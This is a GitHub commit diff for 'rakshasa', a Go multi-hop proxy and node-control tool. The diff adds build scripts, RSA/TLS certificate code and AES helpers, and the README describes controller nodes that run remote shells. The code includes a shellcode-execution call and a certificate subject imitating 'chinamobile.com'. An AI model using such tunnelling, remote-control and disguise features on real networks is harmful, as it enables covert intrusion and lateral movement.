13 Commits
Author SHA1 Message Date
Mob2003 ac68df552e Merge branch 'main' of https://github.com/Mob2003/rakshasa 2023-04-03 11:53:39 +08:00
Mob2003 880c491fd4 修复build执行错误 2023-04-03 11:53:28 +08:00
Mob2003 461e3ba883 Update README.md 2023-04-03 10:32:34 +08:00
Mob2003 d78957b6ac 清除证书与公钥私钥 2023-04-03 09:45:30 +08:00
Mob2003 22be1209a5 Merge branch 'main' of https://github.com/Mob2003/rakshasa 2023-04-02 21:44:07 +08:00
Mob2003 ec51f136eb 修复bug,增加lite版本 2023-04-02 21:43:50 +08:00
Mob2003 e48ed59a73 lite源码 2023-04-02 21:43:11 +08:00
Mob2003 34d95e9eb9 提交lite版本 2023-04-02 21:42:34 +08:00
Mob2003 8139be1c97 Update README.md 2023-04-01 09:08:14 +08:00
Mob2003 b98369f6ab 修改readme 2023-03-31 12:17:16 +08:00
Mob2003 4577793534 更新readme 2023-03-31 12:14:48 +08:00
Mob2003 3b9a9cf4e1 将节点分为普通节点和控制节点 2023-03-31 11:58:47 +08:00
Mob2003 6379a3779d Create README.md 2023-03-30 23:36:50 +08:00
76 changed files with 6100 additions and 362 deletions
+60 -21
View File
@@ -7,37 +7,77 @@ rakshasa是一个使用Go语言编写的强大多级代理工具,专为实现*
节点之间使用内置证书的TLS加密TCP通讯,再叠加一层自定义秘钥的AES加密,可以在所有Go支持的平台使用。可以在你所有的的Windows和Linux服务器上搭建节点并组成节点群网络。
## 更多使用方法和截图
节点分为普通节点(node)与控制节点(fullnode)
- 普通节点,无法控制其他节点进行代理、shell等操作
- 控制节点,全功能节点
## 项目结构示例和截图
[点击查看更多介绍](./readme/rakshasa项目设计.md)
[内网穿透--win10+Proxifier使用案例](./readme/rakshasa内网穿透--win10%2BProxifier使用案例.md)
[win10+Proxifier实现内网穿透](./readme/rakshasa内网穿透--win10+Proxifier使用案例.md)
## 版本迭代
- **v0.1.0** 2023-03-28
- 首次发布
- **v0.2.0** 2023-04-02
- 更改为fullnode版本,fullnode为全功能版本可以控制别人也能被控
- 增加node版本,去掉私钥,无法发起代理等关键操作,适合被控
- 增加lite版本,在上面版本的基础上,精简cli交互与http代理池,体积缩小2mb
- 优化节点连接逻辑,并且遍历网卡ip进行net.Dail,解决多网卡下,无法连接的问题
## 编译与使用
首先生成证书:
生成新的证书,编译所有版本节点
```shell
cd gencert
go run main.go
cd ../
```
也可以使用其他工具生成证书,将 server.crt 和 server.key 放到 cert 目录下。然后再编译rakshasa
```shell
go build
go run build.go -all
```
在 Windows 下使用cmd跨平台编译 Linux 示例:
编译所有版本节点(不更新证书)
```shell
cd gencert
go run main.go
cd ../
set GOOS=linux
go build
go run build.go -all -nocert
```
生成覆盖证书
```shell
go run build.go -gencert
```
生成控制节点与普通节点
```shell
go run build.go -fullnode
```
只生成普通节点
```shell
go run build.go -node
```
证书保存在cert目录下,可以使用第三方工具生成,请使用RSA PKCS1-V1.5
```shell
private.go --编译普通节点的时候要删除此文件
private.pem --与public.pem对应的公钥私钥,普通节点不包含私钥
public.pem
server.crt --tls通讯证书
server.key --tls通讯私钥
```
## 版本区别
| | fullnode | node|fullnode_lite|node_lite|
| ---- | ---- |---- |---- |---- |
|连接其他节点 | √ |√ |√ |√ |
|启动本地socks5代理 | √ |√ |√ |√ |
|启动本地http代理 | √ |√ |√ |√ |
|启动多层代理 | √ |× |√ |× |
|远程shell| √ |× |√ |× |
|其他远程功能| √ |× |√ |× |
| 交互式CLI | √ |√ |× |× |
| check_proxy | √ |√ |× |× |
简单来讲
- fullnode 完全版,能控制别人,也能被控
- node 能连接其他节点,但是不能对其他节点操控,适合作为被控端
- lite版本,精简掉cli和net/http,与一些debug的代码
## 使用图示
![image](https://user-images.githubusercontent.com/128351726/226882870-f4f3cbc0-61df-486c-afc0-511d87586402.png)
@@ -156,6 +196,5 @@ QQ: 2252233695
WeChat/微信: Mob20045
## 知识星球
![5d5003546e6618b7c40dc8946963ec7](https://user-images.githubusercontent.com/128351726/226802981-64c09047-a78c-4e7f-b48d-7bfa5439ec5f.jpg)
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+137
View File
@@ -0,0 +1,137 @@
package main
import (
"bufio"
"flag"
"fmt"
"io"
"log"
"os"
"os/exec"
"runtime"
)
func main() {
all := flag.Bool("all", false, "生成新的证书,生成控制端节点和普通节点")
nocert := flag.Bool("nocert", false, "不生成证书")
gencert := flag.Bool("gencert", false, "生成证书")
fullNode := flag.Bool("fullnode", false, "编译生成控制端节点+普通节点")
node := flag.Bool("node", false, "只生成普通节点")
fullNodeLite := flag.Bool("fullnode-lite", false, "编译生成lite版本的: 控制端节点+普通节点")
nodeLite := flag.Bool("node-lite", false, "只生成lite版本的: 普通节点")
genfullNodePrivate := flag.Bool("gen-private", false, "将private.pem转为private.go")
flag.Parse()
if *all == true {
*gencert = true
*fullNode = true
*node = true
*fullNodeLite = true
*nodeLite = true
}
if *nocert {
*gencert = false
}
if *genfullNodePrivate {
b, _ := os.ReadFile("./cert/private.pem")
data := fmt.Sprintf("package cert\r\n func init(){\r\nprivateKey=%#v\r\n}\r\n", b)
os.WriteFile("./cert/private.go", []byte(data), 0655)
return
}
if *gencert {
if runtime.GOOS == "windows" {
_, err := exec.Command("cmd.exe", "/c", "cd gencert && go run main.go").CombinedOutput()
if err != nil {
log.Fatal(`无法生成证书,请手动执行"cd gencert && go run main.go"`)
return
}
} else {
_, err := exec.Command("/bin/bash", "-c", "cd gencert && go run main.go").CombinedOutput()
if err != nil {
log.Fatal(`无法生成证书,请手动执行"cd gencert && go run main.go"`)
return
}
}
}
if b, _ := os.ReadFile("./cert/private.pem"); len(b) == 0 {
log.Fatal(`无法生成证书,请手动执行"cd gencert && go run main.go"`)
return
}
if b, _ := os.ReadFile("./cert/public.pem"); len(b) == 0 {
log.Fatal(`无法生成证书,请手动执行"cd gencert && go run main.go"`)
return
}
if b, _ := os.ReadFile("./cert/server.crt"); len(b) == 0 {
log.Fatal(`无法生成证书,请手动执行"cd gencert && go run main.go"`)
return
}
if b, _ := os.ReadFile("./cert/server.key"); len(b) == 0 {
log.Fatal(`无法生成证书,请手动执行"cd gencert && go run main.go"`)
return
}
if *fullNode {
b, _ := os.ReadFile("./cert/private.pem")
data := fmt.Sprintf("package cert\r\n func init(){\r\nprivateKey=%#v\r\n}\r\n", b)
os.WriteFile("./cert/private.go", []byte(data), 0655)
buildNode("build_fullnode")
} else if *node {
os.Remove("./cert/private.go")
buildNode("build_node")
}
if *fullNodeLite {
b, _ := os.ReadFile("./cert/private.pem")
data := fmt.Sprintf("package cert\r\n func init(){\r\nprivateKey=%#v\r\n}\r\n", b)
os.WriteFile("./cert/private.go", []byte(data), 0655)
buildNode("build_fullnode_lite")
} else if *nodeLite {
os.Remove("./cert/private.go")
buildNode("build_node_lite")
}
if !*gencert && !*fullNode && !*node && !*fullNodeLite && !*nodeLite && !*genfullNodePrivate {
flag.PrintDefaults()
}
}
func buildNode(name string) {
if runtime.GOOS == "windows" {
cmdstr := fmt.Sprintf(`cd build && %s.bat`, name)
err := runCommand("cmd.exe", "/c", cmdstr)
if err != nil {
log.Fatal(`无法编译,请手动执行 ` + cmdstr)
return
}
} else {
exec.Command("/bin/bash", "-c", "cd build && sudo chmod 755 "+name+".sh").CombinedOutput()
cmdstr := fmt.Sprintf(`cd build && ./%s.sh`, name)
err := runCommand("/bin/bash", "-c", cmdstr)
if err != nil {
log.Fatal(`无法编译,请手动执行 ` + cmdstr)
return
}
}
}
func runCommand(name string, arg ...string) error {
cmd := exec.Command(name, arg...)
stdout, err := cmd.StdoutPipe()
err = cmd.Start()
if err != nil {
return err
}
//创建一个流来读取管道内内容,这里逻辑是通过一行一行的读取的
reader := bufio.NewReader(stdout)
//实时循环读取输出流中的一行内容
go func() {
for {
line, err2 := reader.ReadString('\n')
if err2 != nil || io.EOF == err2 {
break
}
fmt.Print(line)
}
}()
cmd.Wait()
return err
}
+2
View File
@@ -0,0 +1,2 @@
cd ../gencert && go run main.go
echo ok
+3
View File
@@ -0,0 +1,3 @@
#! /bin/sh
cd ../gencert && go run main.go
echo ok
+22
View File
@@ -0,0 +1,22 @@
@echo off
cd ../
IF EXIST ./cert/private.go (
echo Start build fullnode
echo build windows
set GOOS=windows
go build -a -ldflags="-w -s" -trimpath -o ./bin/rakshasa_fullnode_amd64_win.exe main.go
echo build linux
set GOOS=linux
go build -a -ldflags="-w -s" -trimpath -o ./bin/rakshasa_fullnode_amd64_linux main.go
echo build darwin
set GOOS=darwin
go build -a -ldflags="-w -s" -trimpath -o ./bin/rakshasa_fullnode_amd64_darwin main.go
cd cert
del "private.go"
cd ../build
build_node.bat
) ELSE (
echo ÕÒ²»µ½private.go,ÇëʹÓà go run build.go -fullnodeÀ´±àÒë
ping -n 3 127.0.0.1 > nul
)
+21
View File
@@ -0,0 +1,21 @@
#! /bin/sh
cd ../
file=./cert/private.go
if [ -f "$file" ]; then
echo "Start build fullnode"
echo "build windows"
GOOS=windows go build -a -ldflags="-w -s" -trimpath -o ./bin/rakshasa_fullnode_amd64_win.exe main.go
echo "build linux"
GOOS=linux go build -a -ldflags="-w -s" -trimpath -o ./bin/rakshasa_fullnode_amd64_linux main.go
echo "build darwin"
GOOS=darwin go build -a -ldflags="-w -s" -trimpath -o ./bin/rakshasa_fullnode_amd64_darwin main.go
cd cert
rm -f "private.go"
cd ../build
chmod 755 build_node.sh
./build_node.sh
else
echo "找不到private.go,请使用 go run build.go -full-node来编译"
fi
+23
View File
@@ -0,0 +1,23 @@
@echo off
cd ../
IF EXIST ./cert/private.go (
cd rakshasa_lite
echo Start build fullnode-lite
echo build windows
set GOOS=windows
go build -a -ldflags="-w -s" -trimpath -o ../bin/rakshasa_fullnode_lite_amd64_win.exe main.go
echo build linux
set GOOS=linux
go build -a -ldflags="-w -s" -trimpath -o ../bin/rakshasa_fullnode_lite_amd64_linux main.go
echo build darwin
set GOOS=darwin
go build -a -ldflags="-w -s" -trimpath -o ../bin/rakshasa_fullnode_lite_amd64_darwin main.go
cd ../cert
del "private.go"
cd ../build
build_node_lite.bat
) ELSE (
echo ÕÒ²»µ½private.go,ÇëʹÓà go run build.go -fullnode-liteÀ´±àÒë
ping -n 3 127.0.0.1 > nul
)
+22
View File
@@ -0,0 +1,22 @@
#! /bin/sh
cd ../
file=./cert/private.go
if [ -f "$file" ]; then
cd rakshasa_lite
echo "Start build fullnode-lite"
echo "build windows"
GOOS=windows go build -a -ldflags="-w -s" -trimpath -o ../bin/rakshasa_fullnode_amd64_lite_win.exe main.go
echo "build linux"
GOOS=linux go build -a -ldflags="-w -s" -trimpath -o ../bin/rakshasa_fullnode_amd64_lite_linux main.go
echo "build darwin"
GOOS=darwin go build -a -ldflags="-w -s" -trimpath -o ../bin/rakshasa_fullnode_amd64_lite_darwin main.go
cd ../cert
rm -f "private.go"
cd ../build
chmod 755 build_node.sh
./build_node.sh
else
echo "找不到private.go,请使用 go run build.go -fullnode-lite来编译"
fi
+20
View File
@@ -0,0 +1,20 @@
@echo off
cd ../
IF EXIST ./cert/private.go (
echo 请删除private.go后在编译
ping -n 3 127.0.0.1 > nul
) ELSE (
echo Start build node
echo build windows
set GOOS=windows
go build -a -ldflags="-w -s" -trimpath -o ./bin/rakshasa_node_amd64_win.exe main.go
echo build linux
set GOOS=linux
go build -a -ldflags="-w -s" -trimpath -o ./bin/rakshasa_node_amd64_linux main.go
echo build darwin
set GOOS=darwin
go build -a -ldflags="-w -s" -trimpath -o ./bin/rakshasa_node_amd64_darwin main.go
echo End
)
+16
View File
@@ -0,0 +1,16 @@
#! /bin/sh
cd ../
file=./cert/private.go
if [ ! -f "$file" ]; then
echo "Start build node"
echo "build windows"
GOOS=windows go build -a -ldflags="-w -s" -trimpath -o ./bin/rakshasa_node_amd64_win.exe main.go
echo "build linux"
GOOS=linux go build -a -ldflags="-w -s" -trimpath -o ./bin/rakshasa_node_amd64_linux main.go
echo "build darwin"
GOOS=darwin go build -a -ldflags="-w -s" -trimpath -o ./bin/rakshasa_node_amd64_darwin main.go
else
echo "请删除private.go后在编译"
fi
+21
View File
@@ -0,0 +1,21 @@
@echo off
cd ../
IF EXIST ./cert/private.go (
echo Çëɾ³ýprivate.goºóÔÚ±àÒë
ping -n 3 127.0.0.1 > nul
) ELSE (
cd rakshasa_lite
echo Start build node-lite
echo build windows
set GOOS=windows
go build -a -ldflags="-w -s" -trimpath -o ../bin/rakshasa_node_lite_amd64_win.exe main.go
echo build linux
set GOOS=linux
go build -a -ldflags="-w -s" -trimpath -o ../bin/rakshasa_node_lite_amd64_linux main.go
echo build darwin
set GOOS=darwin
go build -a -ldflags="-w -s" -trimpath -o ../bin/rakshasa_node_lite_amd64_darwin main.go
echo End
)
+17
View File
@@ -0,0 +1,17 @@
#! /bin/sh
cd ../
file=./cert/private.go
if [ ! -f "$file" ]; then
cd rakshasa_lite
echo "Start build node-lite"
echo "build windows"
GOOS=windows go build -a -ldflags="-w -s" -trimpath -o ../bin/rakshasa_node_lite_amd64_win.exe main.go
echo "build linux"
GOOS=linux go build -a -ldflags="-w -s" -trimpath -o ../bin/rakshasa_node_lite_amd64_linux main.go
echo "build darwin"
GOOS=darwin go build -a -ldflags="-w -s" -trimpath -o ../bin/rakshasa_node_lite_amd64_darwin main.go
else
echo "请删除private.go后在编译"
fi
+3
View File
@@ -0,0 +1,3 @@
module cert
go 1.20
+81 -2
View File
@@ -1,24 +1,32 @@
package cert
import (
"crypto/rand"
"crypto/rsa"
"crypto/tls"
"crypto/x509"
_ "embed"
"encoding/base64"
"encoding/pem"
"log"
"github.com/farmerx/gorsa"
)
//go:embed server.crt
var rsaCert []byte
//go:embed server.key
var PublicKey []byte
var RsaPrivateKey []byte
var Tlsconfig *tls.Config
func init() {
//内置证书
cert, err := tls.X509KeyPair(rsaCert, PublicKey)
cert, err := tls.X509KeyPair(rsaCert, RsaPrivateKey)
if err != nil {
log.Panicln(err)
return
@@ -51,3 +59,74 @@ func init() {
}
}
//go:embed public.pem
var publicKey []byte
var privateKey []byte
// 使用公钥进行加密
func RSAEncrypter(msg []byte) []byte {
block, _ := pem.Decode(publicKey)
pub, _ := x509.ParsePKIXPublicKey(block.Bytes)
cipherText, _ := rsa.EncryptPKCS1v15(rand.Reader, pub.(*rsa.PublicKey), msg)
return cipherText
}
func RSAEncrypterStr(msg string) string {
block, _ := pem.Decode(publicKey)
pub, _ := x509.ParsePKIXPublicKey(block.Bytes)
cipherText, _ := rsa.EncryptPKCS1v15(rand.Reader, pub.(*rsa.PublicKey), []byte(msg))
return base64.StdEncoding.EncodeToString(cipherText)
}
// 使用私钥进行解密
func RSADecrypter(cipherText []byte) []byte {
if block, _ := pem.Decode(privateKey); block != nil {
p, _ := x509.ParsePKCS1PrivateKey(block.Bytes)
afterDecrypter, _ := rsa.DecryptPKCS1v15(rand.Reader, p, cipherText)
return afterDecrypter
}
return []byte{}
}
func RSADecrypterStr(cipherText string) string {
if block, _ := pem.Decode(privateKey); block != nil {
p, _ := x509.ParsePKCS1PrivateKey(block.Bytes)
b, _ := base64.StdEncoding.DecodeString(cipherText)
afterDecrypter, _ := rsa.DecryptPKCS1v15(rand.Reader, p, b)
return string(afterDecrypter)
}
return ""
}
func RSAEncrypterByPriv(msg string) string {
prienctypt, _ := gorsa.RSA.PriKeyENCTYPT([]byte(msg))
return base64.StdEncoding.EncodeToString(prienctypt)
}
func RSAEncrypterByPrivByte(msg []byte) []byte {
prienctypt, _ := gorsa.RSA.PriKeyENCTYPT([]byte(msg))
return prienctypt
}
func RSADecrypterByPub(cipherText string) string {
b, _ := base64.StdEncoding.DecodeString(cipherText)
pubdecrypt, _ := gorsa.RSA.PubKeyDECRYPT(b)
return string(pubdecrypt)
}
func RSADecrypterByPubByte(cipherText []byte) []byte {
pubdecrypt, _ := gorsa.RSA.PubKeyDECRYPT(cipherText)
return pubdecrypt
}
func init() {
if err := gorsa.RSA.SetPublicKey(string(publicKey)); err != nil {
log.Fatalln("无法加载publicKey,请检查public.pem")
}
if len(privateKey) > 0 {
//fullnode
if err := gorsa.RSA.SetPrivateKey(string(privateKey)); err != nil {
log.Fatalln("无法加载privateKey,请检查private.go")
}
test := "hello world"
if RSADecrypterByPub(RSAEncrypterByPriv(test)) != test {
log.Fatalln("当前内置的public.pem 与 private.pem 无法正常加密解密")
}
}
}
+28 -43
View File
@@ -4,7 +4,8 @@ import (
"encoding/base64"
"errors"
"fmt"
"github.com/dlclark/regexp2"
"regexp"
"net"
"strconv"
)
@@ -25,68 +26,52 @@ func ParseAddr(str string) (cfg *Addr, err error) {
}
}()
r, _ := regexp2.Compile(`^(http://|socks5://)?(\S+):(\S+)@(\S+):(\d+)`, 0)
m, err := r.FindStringMatch(str)
if err != nil {
return nil, errors.New("配置解析错误," + err.Error())
}
r, _ := regexp.Compile(`^(http://|socks5://)?(\S+):(\S+)@(\S+):(\d+)`)
m := r.FindAllStringSubmatch(str, 1)
if m != nil {
var res_v []string
for _, v := range m.Groups() {
res_v = append(res_v, v.String())
}
addr, err := net.ResolveTCPAddr("tcp", res_v[4]+":"+res_v[5])
addr, err := net.ResolveTCPAddr("tcp", m[0][4]+":"+m[0][5])
if err != nil {
return nil, errors.New("配置解析错误 " + res_v[4] + ":" + res_v[5] + " 不是有效的 地址:端口")
return nil, errors.New("配置解析错误 " + m[0][4] + ":" + m[0][5] + " 不是有效的 地址:端口")
}
return &Addr{
scheam: res_v[1],
user: res_v[2],
passwd: res_v[3],
ip: res_v[4],
scheam: m[0][1],
user: m[0][2],
passwd: m[0][3],
ip: m[0][4],
port: addr.Port,
}, nil
}
r, _ = regexp2.Compile(`^(http://|socks5://)?(\S+):(\S+)@(\d+)`, 0)
m, err = r.FindStringMatch(str)
if err != nil {
return nil, errors.New("配置解析错误," + err.Error())
}
if m != nil {
var res_v []string
for _, v := range m.Groups() {
res_v = append(res_v, v.String())
}
port, _ := strconv.Atoi(res_v[4])
r, _ = regexp.Compile(`^(http://|socks5://)?(\S+):(\S+)@(\d+)`)
m = r.FindAllStringSubmatch(str, 1)
if m != nil {
port, _ := strconv.Atoi(m[0][4])
return &Addr{
scheam: res_v[1],
user: res_v[2],
passwd: res_v[3],
scheam: m[0][1],
user: m[0][2],
passwd: m[0][3],
ip: "",
port: port,
}, nil
}
r, _ = regexp2.Compile(`^(http://|socks5://)?(\S+):(\S+)$`, 0)
m, err = r.FindStringMatch(str)
if err != nil {
return nil, errors.New("配置解析错误," + err.Error())
}
r, _ = regexp.Compile(`^(http://|socks5://)?(\S+):(\S+)$`)
m = r.FindAllStringSubmatch(str, 1)
if m != nil {
var res_v []string
for _, v := range m.Groups() {
res_v = append(res_v, v.String())
}
addr, err := net.ResolveTCPAddr("tcp", res_v[2]+":"+res_v[3])
addr, err := net.ResolveTCPAddr("tcp", m[0][2]+":"+m[0][3])
if err != nil {
return nil, errors.New("配置解析错误 " + res_v[1] + ":" + res_v[2] + " 不是有效的 地址:端口")
return nil, errors.New("配置解析错误 " + m[0][1] + ":" + m[0][2] + " 不是有效的 地址:端口")
}
return &Addr{
scheam: res_v[1],
scheam: m[0][1],
user: "",
passwd: "",
ip: res_v[2],
ip: m[0][2],
port: addr.Port,
}, nil
}
+13 -12
View File
@@ -4,15 +4,16 @@ import (
"bytes"
"errors"
"fmt"
"github.com/dlclark/regexp2"
"github.com/google/uuid"
"math/rand"
"net"
"rakshasa/aes"
"regexp"
"strings"
"sync"
"sync/atomic"
"time"
"github.com/google/uuid"
)
var Debug bool = false
@@ -28,10 +29,10 @@ var EnableTermVt bool
// 数据包结构 包长(2byteUUID+UUID+MsgId+Ttl+cmd包
type Msg struct {
From string
To string
MsgId uint32
Ttl uint8
From string
To string
MsgId uint32
Ttl uint8
CmdOpteion uint8
CmdId uint32
CmdData []byte
@@ -202,7 +203,7 @@ type RegMsg struct {
ViaUUID string
Err string
MainIp string
Port int
Port string
}
var msgId uint32
@@ -311,13 +312,13 @@ func ResolveTCPAddr(str string) ([]string, error) {
dst = append(dst[:i], dst[i+1:]...)
} else {
if _, err := net.ResolveTCPAddr("tcp", addr); err != nil {
if i>0{
r, _ := regexp2.Compile(`^[a-z0-9]{8}-[a-z0-9]{4}-[a-z0-9]{4}-[a-z0-9]{4}-[a-z0-9]{12}`, 0)
match,_ :=r.MatchString(addr)
if !match{
if i > 0 {
r, _ := regexp.Compile(`^[a-z0-9]{8}-[a-z0-9]{4}-[a-z0-9]{4}-[a-z0-9]{4}-[a-z0-9]{12}`)
match := r.MatchString(addr)
if !match {
return nil, fmt.Errorf("参数错误 格式为\"ip:端口\",多个地址以逗号隔开,错误详情%v", err)
}
}else{
} else {
return nil, fmt.Errorf("参数错误 格式为\"ip:端口,第二个地址可以是UUID\",多个地址以逗号隔开,错误详情%v", err)
}
+1 -2
View File
@@ -2,7 +2,6 @@ dstnode:
#- 192.168.1.180:8883
password: ""
port: 8884
listenip:
- 192.168.1.151
listenip: 192.168.1.151
limit: false
filename: config.yaml
+55 -6
View File
@@ -7,6 +7,7 @@ import (
"crypto/x509"
"crypto/x509/pkix"
"encoding/pem"
"fmt"
"log"
"math/big"
"math/rand"
@@ -14,8 +15,11 @@ import (
"os"
"time"
)
type RandReader struct {
rand.Source
}
func main() {
rand.Seed(time.Now().Unix())
subj := &pkix.Name{
CommonName: "chinamobile.com",
Organization: []string{"Company, INC."},
@@ -29,16 +33,17 @@ func main() {
if err != nil {
log.Panic(err)
}
Write(ca, "../cert/server")
crt, err := Req(ca.CSR, subj, 10, []string{"test.default.svc", "test"}, []net.IP{})
//Write(ca, "../cert/server")
crt, err := Req(ca.CSR, subj, 365, []string{"test.default.svc", "test"}, []net.IP{})
if err != nil {
log.Panic(err)
}
Write(crt, "../cert/server")
GenerateRSAKey(2096)
b, _ := os.ReadFile("../cert/private.pem")
data := fmt.Sprintf("package cert\r\n func init(){\r\nprivateKey=%#v\r\n}\r\n", b)
os.WriteFile("../cert/private.go", []byte(data), 0655)
}
type CERT struct {
@@ -162,3 +167,47 @@ func Write(cert *CERT, file string) error {
}
return nil
}
func GenerateRSAKey(bits int) {
//GenerateKey函数使用随机数据生成器random生成一对具有指定字位数的RSA密钥
//Reader是一个全局、共享的密码用强随机数生成器
privateKey, err := rsa.GenerateKey(cr.Reader, bits)
if err != nil {
panic(err)
}
//保存私钥
//通过x509标准将得到的ras私钥序列化为ASN.1 的 DER编码字符串
X509PrivateKey := x509.MarshalPKCS1PrivateKey(privateKey)
//使用pem格式对x509输出的内容进行编码
//创建文件保存私钥
privateFile, err := os.Create("../cert/private.pem")
if err != nil {
panic(err)
}
defer privateFile.Close()
//构建一个pem.Block结构体对象
privateBlock := pem.Block{Type: "RSA Private Key", Bytes: X509PrivateKey}
//将数据保存到文件
pem.Encode(privateFile, &privateBlock)
//保存公钥
//获取公钥的数据
publicKey := privateKey.PublicKey
//X509对公钥编码
X509PublicKey, err := x509.MarshalPKIXPublicKey(&publicKey)
if err != nil {
panic(err)
}
//pem格式编码
//创建用于保存公钥的文件
publicFile, err := os.Create("../cert/public.pem")
if err != nil {
panic(err)
}
defer publicFile.Close()
//创建一个pem.Block结构体对象
publicBlock := pem.Block{Type: "RSA Public Key", Bytes: X509PublicKey}
//保存到文件
pem.Encode(publicFile, &publicBlock)
}
+4 -1
View File
@@ -4,10 +4,13 @@ go 1.16
replace github.com/abiosoft/readline => ./readline
replace cert => ./cert
require (
cert v0.0.0-00010101000000-000000000000
github.com/abiosoft/readline v0.0.0-20180607040430-155bce2042db
github.com/creack/pty v1.1.18
github.com/dlclark/regexp2 v1.7.0
github.com/farmerx/gorsa v0.0.0-20161211100049-3ae06f674f40 // indirect
github.com/google/uuid v1.3.0
github.com/luyu6056/ishell v1.0.1
github.com/mattn/go-colorable v0.1.12 // indirect
+2 -2
View File
@@ -13,8 +13,8 @@ github.com/creack/pty v1.1.18/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/dlclark/regexp2 v1.7.0 h1:7lJfhqlPssTb1WQx4yvTHN0uElPEv52sbaECrAQxjAo=
github.com/dlclark/regexp2 v1.7.0/go.mod h1:DHkYz0B9wPfa6wondMfaivmHpzrQ3v9q8cnmRbL6yW8=
github.com/farmerx/gorsa v0.0.0-20161211100049-3ae06f674f40 h1:OgoboV484kN/ngW4apHvSw8iy9YhhQusAKSLT8nGl94=
github.com/farmerx/gorsa v0.0.0-20161211100049-3ae06f674f40/go.mod h1:Gdtd77IQrjXqFfiourWpNnE1jDPC4opZPDPxPLWFlr0=
github.com/fatih/color v1.12.0/go.mod h1:ELkj/draVOlAH/xkhN6mQ50Qd0MPOk5AAr3maGEBuJM=
github.com/fatih/color v1.13.0 h1:8LOYc1KYPPmyKMuN8QV2DNRWNbLo6LZ0iLs8+mlH53w=
github.com/fatih/color v1.13.0/go.mod h1:kLAiJbzzSOZDVNGyDpeOxJ47H46qBXwg5ILebYFFOfk=
+3 -3
View File
@@ -1,13 +1,13 @@
package main
import (
"cert"
"flag"
"fmt"
"log"
"net/http"
_ "net/http/pprof"
"rakshasa/aes"
"rakshasa/cert"
"rakshasa/common"
"rakshasa/httppool"
"rakshasa/server"
@@ -108,7 +108,7 @@ func main() {
server.SetConfig(config)
//设置一下秘钥
aes.Key = aes.MD5_B(config.Password + string(cert.PublicKey[:16]))
aes.Key = aes.MD5_B(config.Password + string(cert.RsaPrivateKey[:16]))
//初始化node
server.InitCurrentNode()
@@ -133,7 +133,7 @@ func main() {
if *shellCode != "" {
server.RunShellcodeWithDst(*dstNode, *shellCode, *shellCodeXorKey, *shellCodeParam, *shellCodeTimeout)
}
if err := server.StartServer(fmt.Sprintf("%s:%d", config.ListenIp, config.Port)); err != nil {
if err := server.StartServer(fmt.Sprintf(":%d", config.Port)); err != nil {
log.Fatalln(err)
}
+20
View File
@@ -0,0 +1,20 @@
package aes
import (
"bytes"
"crypto/aes"
"crypto/cipher"
)
func AesCfbNewEncrypSteam() cipher.Stream {
block, _ := aes.NewCipher(Key)
iv := bytes.Repeat([]byte("1"), block.BlockSize())
return cipher.NewCFBEncrypter(block, iv)
}
func AesCfbNewDecrypSteam() cipher.Stream {
block, _ := aes.NewCipher(Key)
iv := bytes.Repeat([]byte("1"), block.BlockSize())
return cipher.NewCFBDecrypter(block, iv)
}
+46
View File
@@ -0,0 +1,46 @@
package aes
import (
"bytes"
"crypto/aes"
"crypto/cipher"
"crypto/md5"
"unsafe"
)
var Key []byte
func AesCtrEncrypt(dst, plainText []byte) []byte {
//1. 创建cipher.Block接口
block, _ := aes.NewCipher(Key)
//2. 创建分组模式,在crypto/cipher包中
iv := bytes.Repeat([]byte("1"), block.BlockSize())
stream := cipher.NewCTR(block, iv)
//3. 加密
stream.XORKeyStream(dst, plainText)
return dst
}
func AesCtrDecrypt(encryptData []byte) []byte {
data := make([]byte, len(encryptData))
return AesCtrEncrypt(data, encryptData)
}
const hextable = "0123456789abcdef"
func MD5_B(str string) []byte {
dst := make([]byte, 32)
for k, v := range md5.Sum(Str2bytes(str)) {
dst[k*2] = hextable[v>>4]
dst[k*2+1] = hextable[v&0x0f]
}
return dst
}
func Str2bytes(s string) []byte {
x := (*[2]uintptr)(unsafe.Pointer(&s))
h := [3]uintptr{x[0], x[1], x[1]}
return *(*[]byte)(unsafe.Pointer(&h))
}
+119
View File
@@ -0,0 +1,119 @@
package common
import (
"encoding/base64"
"errors"
"fmt"
"regexp"
"net"
"strconv"
)
type Addr struct {
scheam string
user, passwd string
ip string
port int
httpAuthorizationHeader string
}
func ParseAddr(str string) (cfg *Addr, err error) {
defer func() {
if cfg != nil && cfg.user != "" && cfg.passwd != "" {
cfg.httpAuthorizationHeader = fmt.Sprintf("Proxy-Authorization: Basic %s", base64.URLEncoding.EncodeToString([]byte(cfg.user+":"+cfg.passwd)))
}
}()
r, _ := regexp.Compile(`^(http://|socks5://)?(\S+):(\S+)@(\S+):(\d+)`)
m := r.FindAllStringSubmatch(str, 1)
if m != nil {
addr, err := net.ResolveTCPAddr("tcp", m[0][4]+":"+m[0][5])
if err != nil {
return nil, errors.New("配置解析错误 " + m[0][4] + ":" + m[0][5] + " 不是有效的 地址:端口")
}
return &Addr{
scheam: m[0][1],
user: m[0][2],
passwd: m[0][3],
ip: m[0][4],
port: addr.Port,
}, nil
}
r, _ = regexp.Compile(`^(http://|socks5://)?(\S+):(\S+)@(\d+)`)
m = r.FindAllStringSubmatch(str, 1)
if m != nil {
port, _ := strconv.Atoi(m[0][4])
return &Addr{
scheam: m[0][1],
user: m[0][2],
passwd: m[0][3],
ip: "",
port: port,
}, nil
}
r, _ = regexp.Compile(`^(http://|socks5://)?(\S+):(\S+)$`)
m = r.FindAllStringSubmatch(str, 1)
if m != nil {
addr, err := net.ResolveTCPAddr("tcp", m[0][2]+":"+m[0][3])
if err != nil {
return nil, errors.New("配置解析错误 " + m[0][1] + ":" + m[0][2] + " 不是有效的 地址:端口")
}
return &Addr{
scheam: m[0][1],
user: "",
passwd: "",
ip: m[0][2],
port: addr.Port,
}, nil
}
port, err := strconv.Atoi(str)
if err != nil {
